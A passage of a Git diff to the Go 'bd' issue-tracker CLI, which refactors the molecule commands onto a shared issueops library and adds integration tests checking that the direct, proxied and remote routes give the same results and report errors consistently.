found", args[0]) - } - moleculeID = resolved - } else { - moleculeIDs := findInProgressMoleculeIDs(ctx, r, currentActor()) - if len(moleculeIDs) == 0 { - if jsonOutput { - return outputJSON([]interface{}{}) - } - fmt.Println("No molecules in progress.") - fmt.Println("\nUse: bd mol progress ") - return nil - } - moleculeID = moleculeIDs[0] +func (e reportedResolveError) Error() string { return e.err.Error() } +func (e reportedResolveError) Unwrap() error { return e.err } + +// moleculeNotResolved reports a molecule id argument that did not resolve: +// "not found" when the lookup ran, and the failure as already reported when +// the lookup never ran (reportedResolveError). +func moleculeNotResolved(arg string, err error) error { + var reported reportedResolveError + if errors.As(err, &reported) { + return reported.err } - - stats, err := r.GetMoleculeProgress(ctx, moleculeID) - if err != nil { - return HandleErrorRespectJSON("%v", err) - } - - if jsonOutput { - output := map[string]interface{}{ - "molecule_id": stats.MoleculeID, - "molecule_title": stats.MoleculeTitle, - "total": stats.Total, - "completed": stats.Completed, - "in_progress": stats.InProgress, - "current_step_id": stats.CurrentStepID, - } - if stats.Total > 0 { - output["percent"] = float64(stats.Completed) * 100 / float64(stats.Total) - } - return outputJSON(output) - } - - printMoleculeProgressStats(stats) - return nil + return HandleErrorRespectJSON("molecule '%s' not found", arg) } func runMolLastActivityProxiedServer(ctx context.Context, arg string) error { diff --git a/cmd/bd/mol_ready_gated.go b/cmd/bd/mol_ready_gated.go index 749a7c7ac..ed256f380 100644 --- a/cmd/bd/mol_ready_gated.go +++ b/cmd/bd/mol_ready_gated.go @@ -9,6 +9,7 @@ import ( "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/issueops" ) // GatedMolecule represents a molecule ready for gate-resume dispatch @@ -197,7 +198,10 @@ func findGateReadyMolecules(ctx context.Context, s molReader) ([]*GatedMolecule, hookedIDs[i] = issue.ID hookedMolecules[issue.ID] = true // Mark hooked issue itself } - hookedRoots := findParentMolecules(ctx, s, hookedIDs) + hookedRoots, err := issueops.MoleculeRoots(ctx, rawMoleculeReader{s: s}.moleculeReader(), hookedIDs) + if err != nil { + return nil, fmt.Errorf("finding molecules of hooked issues: %w", err) + } for _, molID := range hookedRoots { hookedMolecules[molID] = true } @@ -226,7 +230,10 @@ func findGateReadyMolecules(ctx context.Context, s molReader) ([]*GatedMolecule, } // Batch-find molecule roots for all ready dependents - depMolRoots := findParentMolecules(ctx, s, readyDepIDs) + depMolRoots, err := issueops.MoleculeRoots(ctx, rawMoleculeReader{s: s}.moleculeReader(), readyDepIDs) + if err != nil { + return nil, fmt.Errorf("finding molecules of ready steps: %w", err) + } moleculeMap := make(map[string]*GatedMolecule) for _, gd := range readyDependents { diff --git a/cmd/bd/mol_roles.go b/cmd/bd/mol_roles.go new file mode 100644 index 000000000..2f4f76e4f --- /dev/null +++ b/cmd/bd/mol_roles.go @@ -0,0 +1,233 @@ +package main + +import ( + "context" + "errors" + "fmt" + "sort" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/uow" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// moleculeRoles is where `bd mol current`, `bd mol progress`, `bd ready --mol` +// and `bd close --continue` get their answers on the route this command runs +// on. Every field is a library role; the molecule rules (membership, readiness, +// progress, the advance and its claim) are the issueops functions composed over +// them, so the direct, proxied-server and remote routes answer one way. What +// stays in cmd/bd is presentation. +type moleculeRoles struct { + reader issueops.Reader + molecule issueops.MoleculeReader + stepper func() (issueops.MoleculeStepper, error) +} + +// directMoleculeRoles binds the roles to the opened store: a local backend, or +// a registered remote one (http), each through its own accessors. +func directMoleculeRoles(s storage.DoltStorage) (moleculeRoles, error) { + if s == nil { + return moleculeRoles{}, errors.New("no database connection") + } + reader, err := s.IssueReader() + if err != nil { + return moleculeRoles{}, err + } + molecule, err := issueops.NewMoleculeReader(s) + if err != nil { + return moleculeRoles{}, err + } + return moleculeRoles{reader: reader, molecule: molecule, stepper: s.MoleculeStepper}, nil +} + +// proxiedMoleculeRoles binds the roles to the proxied server's provider, +// through the provider's own accessors (where each of its layers is added). +func proxiedMoleculeRoles() (moleculeRoles, error) { + if uowProvider == nil { + return moleculeRoles{}, errors.New("proxied-server UOW provider not initialized") + } + reader, err := proxiedIssueReader() + if err != nil { + return moleculeRoles{}, err + } + src, ok := uowProvider.(interface { + BatchGetter() (issueops.BatchGetter, error) + IssueRelations() (issueops.Relations, error) + EdgeReader() (issueops.EdgeReader, error) + }) + if !ok { + return moleculeRoles{}, fmt.Errorf("proxied-server provider %T does not offer the molecule read roles", uowProvider) + } + molecule, err := issueops.NewMoleculeReader(src) + if err != nil { + return moleculeRoles{}, err + } + stepper := func() (issueops.MoleculeStepper, error) { + src, ok := uowProvider.(uow.MoleculeStepperSource) + if !ok { + return nil, fmt.Errorf("proxied-server provider %T does not offer the molecule advance", uowProvider) + } + return src.MoleculeStepper() + } + return moleculeRoles{reader: reader, molecule: molecule, stepper: stepper}, nil +} + +// currentMoleculeRoles picks the route. +func currentMoleculeRoles(s storage.DoltStorage) (moleculeRoles, error) { + if usesProxiedServer() { + return proxiedMoleculeRoles() + } + return directMoleculeRoles(s) +} + +// moleculeProgressOf presents a library MoleculeView as `bd mol current`'s +// MoleculeProgress. +func moleculeProgressOf(view *issueops.MoleculeView) *MoleculeProgress { + root := view.Graph.Root + progress := &MoleculeProgress{ + MoleculeID: root.ID, + MoleculeTitle: root.Title, + Assignee: root.Assignee, + CurrentStep: view.CurrentStep, + NextStep: view.NextStep, + Completed: view.Completed, + Total: view.Total, + } + for _, step := range view.Steps { + progress.Steps = append(progress.Steps, &StepStatus{Issue: step.Issue, Status: step.State, IsCurrent: step.IsCurrent}) + } + return progress +} + +// viewMolecules loads and presents each molecule, sorted by id. +func viewMolecules(ctx context.Context, roles moleculeRoles, ids []string) ([]*MoleculeProgress, error) { + out := make([]*MoleculeProgress, 0, len(ids)) + for _, id := range ids { + view, err := issueops.ViewMolecule(ctx, roles.molecule, id) + if err != nil { + return nil, fmt.Errorf("loading molecule %s: %w", id, err) + } + out = append(out, moleculeProgressOf(view)) + } + sort.Slice(out, func(i, j int) bool { return out[i].MoleculeID < out[j].MoleculeID }) + return out, nil +} + +// continueResultOf presents a library AdvanceResult as `bd close --continue`'s +// ContinueResult. A step in no molecule presents as nil, as it always has. +func continueResultOf(result issueops.AdvanceResult) *ContinueResult { + if result.MoleculeID == "" { + return nil + } + return &ContinueResult{ + ClosedStep: result.ClosedStep, + NextStep: result.NextStep, + AutoAdvanced: result.Claimed, + MolComplete: result.Complete, + MoleculeID: result.MoleculeID, + } +} + +// advanceMolecule runs `bd close --continue` through the route's +// MoleculeStepper role. +func advanceMolecule(ctx context.Context, roles moleculeRoles, closedStepID string, autoClaim bool) (*ContinueResult, error) { + stepper, err := roles.stepper() + if err != nil { + return nil, err + } + result, err := stepper.Advance(ctx, issueops.AdvanceRequest{Actor: currentActor(), ClosedStepID: closedStepID, AutoClaim: autoClaim}) + if err != nil { + return nil, err + } + return continueResultOf(result), nil +} + +// rawMoleculeReader binds the library's molecule rules to a molReader — the +// raw-method port the template commands (`mol ready --gated`, pour, bond) +// still read through, including the proxied route's in-transaction port. It +// is a data binding, like the in-transaction ones in internal/storage: it +// answers the three role reads from raw methods and decides nothing. +type rawMoleculeReader struct{ s molReader } + +// moleculeReader binds the library's rules to this port. +func (r rawMoleculeReader) moleculeReader() issueops.MoleculeReader { + return issueops.MoleculeReaderOver(r) +} + +func (r rawMoleculeReader) GetMany(ctx context.Context, req issueops.GetManyRequest) (issueops.GetManyResult, error) { + issues, err := r.s.GetIssuesByIDs(ctx, req.IDs) + if err != nil { + return issueops.GetManyResult{}, err + } + found := make(map[string]*types.Issue, len(issues)) + for _, issue := range issues { + if issue != nil { + found[issue.ID] = issue + } + } + out := issueops.GetManyResult{Issues: []*issueops.Issue{}, Missing: []string{}} + seen := map[string]bool{} + for _, id := range req.IDs { + if seen[id] { + continue + } + seen[id] = true + if issue := found[id]; issue != nil { + out.Issues = append(out.Issues, issue) + } else { + out.Missing = append(out.Missing, id) + } + } + return out, nil +} + +func (r rawMoleculeReader) Related(ctx context.Context, req issueops.RelatedRequest) ([]*issueops.RelatedIssue, error) { + var ( + items []*types.IssueWithDependencyMetadata + err error + ) + if req.Direction == issueops.RelationIn { + items, err = r.s.GetDependentsWithMetadata(ctx, req.ID) + } else { + return nil, fmt.Errorf("%w: raw molecule reads answer inbound relations only", issueops.ErrValidation) + } + if err != nil { + return nil, err + } + out := make([]*issueops.RelatedIssue, 0, len(items)) + for _, item := range items { + if item != nil && (len(req.Types) == 0 || containsDependencyType(req.Types, item.DependencyType)) { + out = append(out, item) + } + } + sort.SliceStable(out, func(i, j int) bool { return out[i].ID < out[j].ID }) + return out, nil +} + +func (r rawMoleculeReader) ReadEdges(ctx context.Context, req issueops.EdgeReadRequest) (issueops.EdgeReadResult, error) { + records, err := r.s.GetDependencyRecordsForIssues(ctx, req.IDs) + if err != nil { + return issueops.EdgeReadResult{}, err + } + out := issueops.EdgeReadResult{Anchors: make([]issueops.AnchorEdges, 0, len(req.IDs))} + for _, id := range req.IDs { + var edges []*issueops.Dependency + for _, edge := range records[id] { + if edge != nil && (len(req.Types) == 0 || containsDependencyType(req.Types, edge.Type)) { + edges = append(edges, edge) + } + } + out.Anchors = append(out.Anchors, issueops.AnchorEdges{ID: id, Edges: edges}) + } + return out, nil +} + +func containsDependencyType(set []types.DependencyType, t types.DependencyType) bool { + for _, candidate := range set { + if candidate == t { + return true + } + } + return false +} diff --git a/cmd/bd/mol_route_parity_integration_test.go b/cmd/bd/mol_route_parity_integration_test.go new file mode 100644 index 000000000..fea0b54f5 --- /dev/null +++ b/cmd/bd/mol_route_parity_integration_test.go @@ -0,0 +1,140 @@ +//go:build cgo + +package main + +import ( + "encoding/json" + "reflect" + "strings" + "testing" +) + +// TestProxiedServerMoleculeLifecycleAgreesOnEveryRoute drives one molecule +// lifecycle — `bd create --parent`, `bd close --continue`, `bd ready --mol`, +// `bd mol current`, `bd mol progress` and the auto-close after the last step — +// through the real bd binary on the three routes a workspace can take: +// +// - direct: a server-mode workspace, the CLI on the opened store; +// - proxied: a --proxied-server workspace, the CLI on the provider; +// - remote: `bd connect` to a `bd serve` of a third server-mode workspace. +// +// Each step of the lifecycle has ONE library entry (issueops), so every route +// must leave the same rows behind and print the same JSON, timestamps aside. +// The fixture puts a ready step that ANOTHER actor holds first in line, which is +// the case the old direct route got wrong (a status-only claim that took it). +func TestProxiedServerMoleculeLifecycleAgreesOnEveryRoute(t *testing.T) { + requireSharedProxiedServer(t) + bd := buildEmbeddedBD(t) + + directProject := newServerModeProject(t, bd, "mr") + proxiedProject := newSharedProxiedProject(t, bd, "mr") + servedProject := newServerModeProject(t, bd, "mr") + sp := startServe(t, bd, servedProject.dir, servedProject.env) + remoteDir := t.TempDir() + initGitRepoAt(t, remoteDir) + remoteEnv := bdEnv(remoteDir) + + routes := []moleculeFrontDoorRunner{ + {name: "direct", dir: directProject.dir, env: func(string) []string { return directProject.env }}, + {name: "proxied", dir: proxiedProject.dir, env: bdProxiedEnv}, + {name: "remote", dir: remoteDir, env: func(string) []string { return remoteEnv }}, + } + routes[2].mustRun(t, bd, "connect", "http://"+sp.addr, "--json") + + as := func(args ...string) []string { return append([]string{"--actor", "worker"}, args...) } + + // The fixture. Child ids are minted by the create role on every route. + for _, r := range routes { + r.mustRun(t, bd, as("create", "Route molecule", "--type", "molecule", "--id", "mr-root")...) + for i, title := range []string{"first step", "held step", "free step"} { + out := r.mustRun(t, bd, as("create", title, "--type", "task", "--parent", "mr-root", "--json")...) + var created struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &created); err != nil { + t.Fatalf("[%s] parse create: %v\n%s", r.name, err, out) + } + if want := "mr-root." + string(rune('1'+i)); created.ID != want { + t.Fatalf("[%s] create --parent minted %q, want %q", r.name, created.ID, want) + } + } + r.mustRun(t, bd, as("update", "mr-root.1", "--status", "in_progress", "--assignee", "worker")...) + r.mustRun(t, bd, as("update", "mr-root.2", "--assignee", "someone-else")...) + } + + compare := func(t *testing.T, name string, args ...string) { + t.Helper() + var first any + for i, r := range routes { + got := dropMoleculeRouteRevisions(normalizedMoleculeJSON(t, r.mustRun(t, bd, as(args...)...))) + if i == 0 { + first = got + continue + } + if !reflect.DeepEqual(first, got) { + t.Errorf("%s diverged: %s answered\n%v\n%s answered\n%v", name, routes[0].name, first, r.name, got) + } + } + } + + compare(t, "mol current", "mol", "current", "mr-root", "--json") + compare(t, "mol progress", "mol", "progress", "mr-root", "--json") + compare(t, "ready --mol", "ready", "--mol", "mr-root", "--json") + + // close --continue: the next ready step is mr-root.2, but someone else + // holds it, so the advance claims mr-root.3 for worker and leaves .2 alone. + compare(t, "close --continue", "close", "mr-root.1", "--continue", "--json") + for _, r := range routes { + assertMoleculeRouteRow(t, bd, r, "mr-root.2", "open", "someone-else") + assertMoleculeRouteRow(t, bd, r, "mr-root.3", "in_progress", "worker") + assertMoleculeRouteRow(t, bd, r, "mr-root", "open", "") + } + + // Closing the last two steps closes the root, in the close's own + // transaction, on every route. + compare(t, "close free step", "close", "mr-root.3", "--json") + compare(t, "close held step", "close", "mr-root.2", "--force", "--json") + for _, r := range routes { + assertMoleculeRouteRow(t, bd, r, "mr-root", "closed", "") + out := r.mustRun(t, bd, "show", "mr-root", "--json") + if !strings.Contains(out, `"close_reason": "all steps complete"`) && !strings.Contains(out, `"close_reason":"all steps complete"`) { + t.Errorf("[%s] root close_reason is not the auto-close's:\n%s", r.name, out) + } + } +} + +func assertMoleculeRouteRow(t *testing.T, bd string, r moleculeFrontDoorRunner, id, status, assignee string) { + t.Helper() + out := r.mustRun(t, bd, "show", id, "--json") + var rows []struct { + Status string `json:"status"` + Assignee string `json:"assignee"` + } + if err := json.Unmarshal([]byte(strings.TrimSpace(out)), &rows); err != nil || len(rows) != 1 { + t.Fatalf("[%s] parse show %s: %v\n%s", r.name, id, err, out) + } + if rows[0].Status != status || rows[0].Assignee != assignee { + t.Errorf("[%s] %s = %s/%q, want %s/%q", r.name, id, rows[0].Status, rows[0].Assignee, status, assignee) + } +} + +// dropMoleculeRouteRevisions removes the opaque row-version tokens, which each +// database mints on its own, and the lease's wall-clock fields. +func dropMoleculeRouteRevisions(value any) any { + switch v := value.(type) { + case []any: + for i := range v { + v[i] = dropMoleculeRouteRevisions(v[i]) + } + case map[string]any: + // The claim's lease clock is wall time, like the timestamps the shared + // normalizer already drops. + for _, key := range []string{"revision", "heartbeat_at", "lease_expires_at"} { + delete(v, key) + } + for key, item := range v { + v[key] = dropMoleculeRouteRevisions(item) + } + } + return value +} diff --git a/cmd/bd/mol_show.go b/cmd/bd/mol_show.go index 281b3d6b9..bc831c9af 100644 --- a/cmd/bd/mol_show.go +++ b/cmd/bd/mol_show.go @@ -1,8 +1,8 @@ package main import ( + "context" "fmt" - "sort" "strings" "github.com/spf13/cobra" @@ -10,6 +10,7 @@ import ( "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" "github.com/steveyegge/beads/internal/utils" + "github.com/steveyegge/beads/issueops" ) var ( @@ -21,6 +22,10 @@ var molShowCmd = &cobra.Command{ Short: "Show molecule details", Long: `Show molecule structure and details. +A molecule's steps are the issues linked to its root by parent-child +dependencies (bd create --parent, bd mol pour); an id that merely looks +hierarchical, like bd-xyz.4, does not make an issue a step. + The --parallel flag highlights parallelizable steps: - Steps with no blocking dependencies can run in parallel - Shows which steps are ready to start now @@ -54,18 +59,35 @@ Example: return HandleErrorRespectJSON("molecule '%s' not found", args[0]) } - subgraph, err := loadTemplateSubgraph(ctx, store, moleculeID) + roles, err := directMoleculeRoles(store) if err != nil { return HandleErrorRespectJSON("loading molecule: %v", err) } - - if molShowParallel { - return showMoleculeWithParallel(subgraph) - } - return showMolecule(subgraph) + return runMolShow(ctx, roles, moleculeID) }, } +// runMolShow loads the molecule through the library's one molecule read +// (issueops.LoadMolecule, over the route's roles) and renders it. Membership +// is the parent-child edge on every route, as for mol current, mol progress +// and ready --mol. +func runMolShow(ctx context.Context, roles moleculeRoles, moleculeID string) error { + graph, err := issueops.LoadMolecule(ctx, roles.molecule, moleculeID) + if err != nil { + return HandleErrorRespectJSON("loading molecule: %v", err) + } + subgraph := &MoleculeSubgraph{ + Root: graph.Root, + Issues: graph.Issues, + Dependencies: graph.Dependencies, + IssueMap: graph.IssueMap, + } + if molShowParallel { + return showMoleculeWithParallel(subgraph) + } + return showMolecule(subgraph) +} + func showMolecule(subgraph *MoleculeSubgraph) error { if jsonOutput { return outputJSON(map[string]interface{}{ @@ -150,272 +172,22 @@ func formatBondType(bondType string) string { } } -// ParallelInfo holds parallel analysis information for a step -type ParallelInfo struct { - StepID string `json:"step_id"` - Status string `json:"status"` - IsReady bool `json:"is_ready"` // Can start now (no blocking deps) - ParallelGroup string `json:"parallel_group"` // Group ID (steps with same group can parallelize) - BlockedBy []string `json:"blocked_by"` // IDs of open steps blocking this one - Blocks []string `json:"blocks"` // IDs of steps this one blocks - CanParallel []string `json:"can_parallel"` // IDs of steps that can run in parallel with this -} +// ParallelInfo is a step's readiness and parallelism, as the library's +// molecule analysis answers it. +type ParallelInfo = issueops.MoleculeStepInfo -// ParallelAnalysis holds the complete parallel analysis for a molecule -type ParallelAnalysis struct { - MoleculeID string `json:"molecule_id"` - TotalSteps int `json:"total_steps"` - ReadySteps int `json:"ready_steps"` - ParallelGroups map[string][]string `json:"parallel_groups"` // group ID -> step IDs - Steps map[string]*ParallelInfo `json:"steps"` -} +// ParallelAnalysis is the readiness and parallelism of a whole molecule. +type ParallelAnalysis = issueops.MoleculeAnalysis -// analyzeMoleculeParallel performs parallel detection on a molecule subgraph. -// Returns analysis of which steps can run in parallel. +// analyzeMoleculeParallel runs the library's molecule analysis +// (issueops.AnalyzeMolecule) over a loaded template subgraph. func analyzeMoleculeParallel(subgraph *MoleculeSubgraph) *ParallelAnalysis { - analysis := &ParallelAnalysis{ - MoleculeID: subgraph.Root.ID, - TotalSteps: len(subgraph.Issues), - ParallelGroups: make(map[string][]string), - Steps: make(map[string]*ParallelInfo), - } - - // Build dependency maps - // blockedBy[id] = set of issue IDs that block this issue - // blocks[id] = set of issue IDs that this issue blocks - blockedBy := make(map[string]map[string]bool) - blocks := make(map[string]map[string]bool) - parentChildren := make(map[string][]string) - - for _, issue := range subgraph.Issues { - blockedBy[issue.ID] = make(map[string]bool) - blocks[issue.ID] = make(map[string]bool) - } - - // Build child index for waits-for gate evaluation. - for _, dep := range subgraph.Dependencies { - if dep.Type == types.DepParentChild { - parentChildren[dep.DependsOnID] = append(parentChildren[dep.DependsOnID], dep.IssueID) - } - } - - // Process dependencies to find blocking relationships - for _, dep := range subgraph.Dependencies { - switch dep.Type { - case types.DepBlocks, types.DepConditionalBlocks: - // dep.IssueID depends on (is blocked by) dep.DependsOnID - if _, ok := blockedBy[dep.IssueID]; ok { - blockedBy[dep.IssueID][dep.DependsOnID] = true - } - if _, ok := blocks[dep.DependsOnID]; ok { - blocks[dep.DependsOnID][dep.IssueID] = true - } - case types.DepWaitsFor: - children := parentChildren[dep.DependsOnID] - if len(children) == 0 { - continue - } - - gate := types.ParseWaitsForGateMetadata(dep.Metadata) - if gate == types.WaitsForAnyChildren { - hasClosedChild := false - for _, childID := range children { - child := subgraph.IssueMap[childID] - if child != nil && child.Status == types.StatusClosed { - hasClosedChild = true - break - } - } - if hasClosedChild { - continue - } - } - - // For all-children (and unresolved any-children), each open child blocks the gate. - for _, childID := range children { - child := subgraph.IssueMap[childID] - if child == nil || child.Status == types.StatusClosed { - continue - } - - if _, ok := blockedBy[dep.IssueID]; ok { - blockedBy[dep.IssueID][childID] = true - } - if _, ok := blocks[childID]; ok { - blocks[childID][dep.IssueID] = true - } - } - } - } - - // Identify which steps are ready (no open blockers) - readySteps := make(map[string]bool) - for _, issue := range subgraph.Issues { - info := &ParallelInfo{ - StepID: issue.ID, - Status: string(issue.Status), - BlockedBy: []string{}, - Blocks: []string{}, - } - - // Check what blocks this step - for blockerID := range blockedBy[issue.ID] { - blocker := subgraph.IssueMap[blockerID] - if blocker != nil && blocker.Status != types.StatusClosed { - info.BlockedBy = append(info.BlockedBy, blockerID) - } - } - - // Check what this step blocks - for blockedID := range blocks[issue.ID] { - info.Blocks = append(info.Blocks, blockedID) - } - - // A step is ready if it's open/in_progress and has no open blockers - info.IsReady = (issue.Status == types.StatusOpen || issue.Status == types.StatusInProgress) && - len(info.BlockedBy) == 0 - - if info.IsReady { - readySteps[issue.ID] = true - analysis.ReadySteps++ - } - - // Sort for consistent output - sort.Strings(info.BlockedBy) - sort.Strings(info.Blocks) - - analysis.Steps[issue.ID] = info - } - - // Identify parallel groups: steps that can run concurrently - // Two steps can parallelize if: - // 1. Both are ready (or will be ready at same time) - // 2. Neither blocks the other (directly or transitively) - // 3. They share the same blocking depth (distance from root) - - // Calculate blocking depth for each step - depths := calculateBlockingDepths(subgraph, blockedBy) - - // Group steps by depth - steps at same depth can potentially parallelize - depthGroups := make(map[int][]string) - for id, depth := range depths { - depthGroups[depth] = append(depthGroups[depth], id) - } - - // For each depth level, identify parallel groups - groupCounter := 0 - for depth := 0; depth <= len(subgraph.Issues); depth++ { - stepsAtDepth := depthGroups[depth] - if len(stepsAtDepth) == 0 { - continue - } - - // Group steps that can parallelize (no blocking between them) - // Use union-find approach: start with each step in its own group - parent := make(map[string]string) - for _, id := range stepsAtDepth { - parent[id] = id - } - - find := func(x string) string { - for parent[x] != x { - parent[x] = parent[parent[x]] - x = parent[x] - } - return x - } - - union := func(x, y string) { - px, py := find(x), find(y) - if px != py { - parent[px] = py - } - } - - // Merge steps that CAN parallelize (no mutual blocking) - for i, id1 := range stepsAtDepth { - for j := i + 1; j < len(stepsAtDepth); j++ { - id2 := stepsAtDepth[j] - // Can parallelize if neither blocks the other - if !blocks[id1][id2] && !blocks[id2][id1] && - !blockedBy[id1][id2] && !blockedBy[id2][id1] { - union(id1, id2) - } - } - } - - // Collect groups - groups := make(map[string][]string) - for _, id := range stepsAtDepth { - root := find(id) - groups[root] = append(groups[root], id) - } - - // Assign group names and record can_parallel relationships - for _, members := range groups { - if len(members) > 1 { - groupCounter++ - groupName := fmt.Sprintf("group-%d", groupCounter) - analysis.ParallelGroups[groupName] = members - - // Update each step's parallel info - for _, id := range members { - info := analysis.Steps[id] - info.ParallelGroup = groupName - // Record all other members as can_parallel - for _, otherId := range members { - if otherId != id { - info.CanParallel = append(info.CanParallel, otherId) - } - } - sort.Strings(info.CanParallel) - } - } - } - } - - return analysis -} - -// calculateBlockingDepths calculates the "blocking depth" of each step. -// Depth 0 = no blockers, Depth 1 = blocked by depth-0 steps, etc. -func calculateBlockingDepths(subgraph *MoleculeSubgraph, blockedBy map[string]map[string]bool) map[string]int { - depths := make(map[string]int) - visited := make(map[string]bool) - - var calculateDepth func(id string) int - calculateDepth = func(id string) int { - if d, ok := depths[id]; ok { - return d - } - if visited[id] { - // Cycle detected, return 0 to break - return 0 - } - visited[id] = true - - maxBlockerDepth := -1 - for blockerID := range blockedBy[id] { - // Only count open blockers - blocker := subgraph.IssueMap[blockerID] - if blocker != nil && blocker.Status != types.StatusClosed { - blockerDepth := calculateDepth(blockerID) - if blockerDepth > maxBlockerDepth { - maxBlockerDepth = blockerDepth - } - } - } - - depth := maxBlockerDepth + 1 - depths[id] = depth - return depth - } - - for _, issue := range subgraph.Issues { - calculateDepth(issue.ID) - } - - return depths + return issueops.AnalyzeMolecule(&issueops.MoleculeGraph{ + Root: subgraph.Root, + Issues: subgraph.Issues, + Dependencies: subgraph.Dependencies, + IssueMap: subgraph.IssueMap, + }) } func showMoleculeWithParallel(subgraph *MoleculeSubgraph) error { diff --git a/cmd/bd/mol_show_proxied_integration_test.go b/cmd/bd/mol_show_proxied_integration_test.go index 58aaa699e..ad157f745 100644 --- a/cmd/bd/mol_show_proxied_integration_test.go +++ b/cmd/bd/mol_show_proxied_integration_test.go @@ -3,8 +3,14 @@ package main import ( + "context" "encoding/json" + "errors" + "io" + "strings" "testing" + + "github.com/steveyegge/beads/internal/storage/uow" ) func TestProxiedServerMolShow(t *testing.T) { @@ -96,3 +102,111 @@ func TestProxiedServerMolShow(t *testing.T) { } }) } + +// TestProxiedMolResolveReportsAnUnopenableReadAsItself pins that the proxied +// molecule resolver (proxiedResolvePartialID: mol show, current, progress and +// ready --mol) reports a read unit of work it cannot open as that failure, +// never as a molecule that was not found, while an id the lookup does not find +// still reads as not found (moleculeNotResolved). +func TestProxiedMolResolveReportsAnUnopenableReadAsItself(t *testing.T) { + oldProvider := uowProvider + t.Cleanup(func() { uowProvider = oldProvider }) + uowProvider = nil + ctx := context.Background() + const unopenable = "proxied-server UOW provider not initialized" + + var resolveErr error + stderr := captureStderr(t, func() { + _, resolveErr = proxiedResolvePartialID(ctx, "mol-x") + }) + var reported reportedResolveError + if !errors.As(resolveErr, &reported) { + t.Fatalf("proxiedResolvePartialID error = %v, want a reportedResolveError", resolveErr) + } + if !strings.Contains(stderr, unopenable) { + t.Errorf("proxiedResolvePartialID stderr = %q, want the open failure %q", stderr, unopenable) + } + + stderr = captureStderr(t, func() { + if got := moleculeNotResolved("mol-x", resolveErr); !errors.Is(got, reported.err) { + t.Errorf("moleculeNotResolved = %v, want the already-reported %v", got, reported.err) + } + }) + if stderr != "" { + t.Errorf("moleculeNotResolved reported an already-reported failure again: %q", stderr) + } + + stderr = captureStderr(t, func() { + _ = moleculeNotResolved("mol-x", errors.New("no issue found matching \"mol-x\"")) + }) + if !strings.Contains(stderr, "molecule 'mol-x' not found") { + t.Errorf("an id the lookup did not find reported %q, want molecule 'mol-x' not found", stderr) + } + + var showErr error + stderr = captureStderr(t, func() { showErr = runMolShowProxiedServer(ctx, "mol-x") }) + if showErr == nil || !strings.Contains(stderr, unopenable) || strings.Contains(stderr, "not found") { + t.Errorf("mol show over an unopenable read: err = %v, stderr = %q; want the open failure, not \"not found\"", showErr, stderr) + } +} + +// unopenableUOWProvider fails every NewUOW, as a proxied route's provider does +// when the server cannot be reached. +type unopenableUOWProvider struct{ err error } + +func (p unopenableUOWProvider) NewUOW(context.Context) (uow.UnitOfWork, error) { return nil, p.err } +func (unopenableUOWProvider) Close(context.Context) error { return nil } + +// TestProxiedReadyMolReportsAnUnopenableReadOnce pins `bd ready --mol` on the +// proxied route to the resolver contract above: a read unit of work that will +// not open is reported once, as itself, and is not followed by a "not found" +// for the molecule. Under --json that is one error document on stdout, not two. +func TestProxiedReadyMolReportsAnUnopenableReadOnce(t *testing.T) { + oldProvider, oldJSON := uowProvider, jsonOutput + t.Cleanup(func() { uowProvider, jsonOutput = oldProvider, oldJSON }) + const openFailure = "connection refused" + uowProvider = unopenableUOWProvider{err: errors.New(openFailure)} + ctx := context.Background() + + t.Run("text", func(t *testing.T) { + jsonOutput = false + var readyErr error + stderr := captureStderr(t, func() { + readyErr = runMoleculeReady(ctx, nil, proxiedResolvePartialID, "mol-x") + }) + if readyErr == nil { + t.Error("runMoleculeReady over an unopenable read returned nil") + } + if strings.Count(stderr, "Error:") != 1 || !strings.Contains(stderr, openFailure) || strings.Contains(stderr, "not found") { + t.Errorf("stderr = %q; want one Error: line reporting the open failure, not \"not found\"", stderr) + } + }) + + t.Run("json", func(t *testing.T) { + jsonOutput = true + var readyErr error + stdout := captureStdout(t, func() error { + readyErr = runMoleculeReady(ctx, nil, proxiedResolvePartialID, "mol-x") + return nil + }) + if readyErr == nil { + t.Error("runMoleculeReady over an unopenable read returned nil") + } + dec := json.NewDecoder(strings.NewReader(stdout)) + docs := 0 + for { + var doc map[string]any + err := dec.Decode(&doc) + if errors.Is(err, io.EOF) { + break + } + if err != nil { + t.Fatalf("stdout is not a JSON document stream: %v\n%s", err, stdout) + } + docs++ + } + if docs != 1 || !strings.Contains(stdout, openFailure) || strings.Contains(stdout, "not found") { + t.Errorf("stdout carries %d JSON documents:\n%s\nwant one, reporting the open failure, not \"not found\"", docs, stdout) + } + }) +} diff --git a/cmd/bd/mol_test.go b/cmd/bd/mol_test.go index e24ffd10f..26819c645 100644 --- a/cmd/bd/mol_test.go +++ b/cmd/bd/mol_test.go @@ -9,7 +9,9 @@ import ( "testing" "github.com/steveyegge/beads/internal/formula" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" ) func TestParseDistillVar(t *testing.T) { @@ -1400,7 +1402,7 @@ func TestGetMoleculeProgress(t *testing.T) { } // Get progress - progress, err := getMoleculeProgress(ctx, s, root.ID) + progress, err := viewMoleculeProgress(ctx, s, root.ID) if err != nil { t.Fatalf("getMoleculeProgress failed: %v", err) } @@ -1486,19 +1488,19 @@ func TestFindParentMolecule(t *testing.T) { } // Find parent molecule from grandchild - moleculeID := findParentMolecule(ctx, s, grandchild.ID) + moleculeID := mustFindParentMolecule(t, ctx, s, grandchild.ID) if moleculeID != root.ID { t.Errorf("findParentMolecule(grandchild) = %q, want %q", moleculeID, root.ID) } // Find parent molecule from child - moleculeID = findParentMolecule(ctx, s, child.ID) + moleculeID = mustFindParentMolecule(t, ctx, s, child.ID) if moleculeID != root.ID { t.Errorf("findParentMolecule(child) = %q, want %q", moleculeID, root.ID) } // Find parent molecule from root - moleculeID = findParentMolecule(ctx, s, root.ID) + moleculeID = mustFindParentMolecule(t, ctx, s, root.ID) if moleculeID != root.ID { t.Errorf("findParentMolecule(root) = %q, want %q", moleculeID, root.ID) } @@ -1515,7 +1517,7 @@ func TestFindParentMolecule(t *testing.T) { } // Should return empty for orphan - moleculeID = findParentMolecule(ctx, s, orphan.ID) + moleculeID = 